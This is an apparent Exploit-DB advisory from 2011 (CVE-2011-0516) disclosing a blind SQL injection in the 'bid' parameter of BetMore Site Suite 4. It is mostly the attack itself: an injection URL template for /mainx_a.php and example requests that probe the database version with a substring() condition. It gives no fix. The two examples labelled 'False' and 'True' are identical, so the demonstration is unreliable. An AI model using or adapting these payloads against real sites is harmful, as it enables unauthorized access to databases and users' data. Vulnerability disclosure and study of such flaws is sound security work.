BetMore Site Suite 4 bid Blind SQL Injection Vulnerability

2011-01-16T00:00:00
ID EDB-ID:15999
Type exploitdb
Reporter BorN To K!LL
Modified 2011-01-16T00:00:00

Description

BetMore Site Suite 4 (bid) Blind SQL Injection Vulnerability. CVE-2011-0516. Webapps exploit for php platform

                                        
                                            ==
[#] Script: BetMore Site Suite
[#] Version: 4
[#] Link: http://products.epromptc.com/betmore/?pt=4&rfid=55
==
[#] Author: BorN To K!LL - h4ck3r
[#] Contact: SQL@hotmail.co.uk
==
[#] 3xploit:

/mainx_a.php?lngx=[true-value]&x=[true-value]&xid=[true-value]&bid=[Blind-Injection]
==
[#] 3xample:

/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // False ,,
/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // True ,,
==
[#] Greetings:
darkc0de's team , AsbMay's Group , w4ck1ng team , Q8 , and all muslims ..
==